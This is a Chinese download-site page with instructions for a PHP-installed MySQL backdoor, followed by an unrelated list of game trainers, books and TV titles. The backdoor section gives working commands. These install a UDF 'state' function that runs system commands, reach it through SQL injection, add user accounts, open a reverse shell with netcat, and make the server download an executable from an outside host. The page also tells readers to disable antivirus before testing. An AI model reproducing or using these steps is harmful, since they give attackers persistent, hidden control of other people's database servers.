安装
将Mysql.php传到PHP服务器上,依填上相应的Host-User-Password-DB后,点击"自动安装Mysql BackDoor"
安装成功后,Mysql上便会增加一个"state"函数,同时利用Mysql进程运行一个基于嗅探的后门. 这个后门在Windows下拥有与Mysql一样的系统权限.
使用state函数
State函数实际是一个和PHP的"system()"功能相同的函数,可以用来执行系统命令.在"请输入SQL命令:"处填写要执行的mysql语 句,如" select state("net user nohack /add")",点击"执行SQL语句"后,便会得到运行结果.
使用基于Sniff的后门
有了state函数,即使WebShell丢了,只要服务器上有SQL注入点,我们就能通过注入".php?id=1 and state('net user')"的方法在服务器上执行命令.但是如果注入点都没有了呢?我们仍然调用基于Sniff的后门控制服务器.向服务器开放的任意端口发送 以"Mysql-"开头的数据包,便能调用这个Sniff的后门,如:
1.运行系统命令: nc ip 80->回车->Mysql-cmd /c net user abc /add>c:/log.txt!(注意:最后的"!"不可省略)
2.让服务器反弹Shell到本机20082端口:先运行nc –lp 20082监听本机的20082端口,再nc ip 80->回车->Mysql-c-->回车
3.让服务器下载文件:nc ip 80->回车->Mysql-//www.x.com/door.exe -c mydoor.exe!(注意:最后的"!"不可省略)
除了发送"Mysql-c-",其他的命令是没有回显的,但相应的命令已经在服务器上运行了.
卸载
在Mysql上运行"drop function state"便可卸载,但同时会造成mysql进程退出,重启后恢复正常.
注意：源码因为是黑客相关，已经被杀毒软件认识了，所以大家可以关了软件再测试。
- 地牢围攻3：太阳宝藏（Dungeon Siege 3: Treasures of the Sun）DLC六项属性修改器
- 地牢围攻（Dungeon Siege）全自动安装版完美中文汉化包（包括中文版免CD）
- 英雄连2 v3.0.0.14526八项修改器Matze500版
- 英雄连2 v3.0.0.9704五项修改器修正版GRIZZLY版
- 英雄连2 v3.0.0.9704五项修改器GRIZZLY版
- 英雄连 v2.700四项修改器Slenderchat版
- 英雄连2 V3.0十六项修改器CH版
- 英雄连2 V1.0四项修改器
- 英雄连之勇气传说v2.601 十项属性修改器
- 英雄连2 v3.0.0.16232七项修改器Matze500版
- 英雄连2 v3.0.0.16193七项修改器Matze500版
- 英雄连2 v3.0.0.13106八项修改器Matze500版
- 英雄连2 v4.0.0.21748十四项修改器Baracuda版[64位]
- 英雄连2 v3.0.0.15852七项修改器Matze500版
- 英雄连2 v3.0.0.15560七项修改器Matze500版
- 英雄连之勇气传说 V2.700版十项属性修改器
- 英雄连2 v3.0.0.8627 Beta版一项修改器CH版
- 英雄连2 v2019.11.14七项修改器Mrantifun版
- 英雄连2（Company Of Heroes 2）v2019.11.14七项修改器Mrantifun版
- 英雄连2（Company Of Heroes 2）v4.0.0.23028七项修改器Mrantifun版
- 英雄连2（Company Of Heroes 2）v4.0.0.21748十四项修改器Baracuda版[64位]
- 英雄连2（Company Of Heroes 2）超强德军战斗力MOD
- 英雄连2（Company Of Heroes 2）真实的难度的伤害与物品MOD
- 英雄连2（Company Of Heroes 2）v4.0.0.19654七项修改器Mrantifun版
- 英雄连2：阿登突击（Company of Heroes 2 Ardennes Assault）蒹葭汉化组汉化补丁V22.0
- 粉块之恋
- 中世纪名媛
- 植物大战僵尸秘籍 Plants vs Zombies
- 宝贝互动2
- 幸运兔子
- 雷电
- 娃娃对对碰
- 小狗推沙吃骨头
- 智能立体魔方
- 宝贝互动1
- 北极的诱惑
- 动画构图与布局(十四五普通高等教育本科部委级规划教材)
- 有效突破(切准股票短线补仓时机)
- 科学孕育关爱无限--做好优生优育预防遗传病
- 卵巢癌手术图解(精)
- 酸和碱/有趣的化学基础百科
- 拯救海洋珊瑚礁/密室逃脱
- 钢桥(普通高等学校土木工程专业新编系列教材)
- 数字技能基础(十四五高等职业教育新形态一体化教材)/信息技术课程系列
- 生态保护与环境污染防治(湖南省生态环境干部培训系列教材)
- 姥爷的抗战
- 妙警贼探 第五季
- 我家有个赵大咪
- 初五启市录
- 猎天狼
- 主君的太阳
- 嘻哈四重奏第五季
- 欲望香水店
- 芝加哥烈焰 第二季
- 火之女神井儿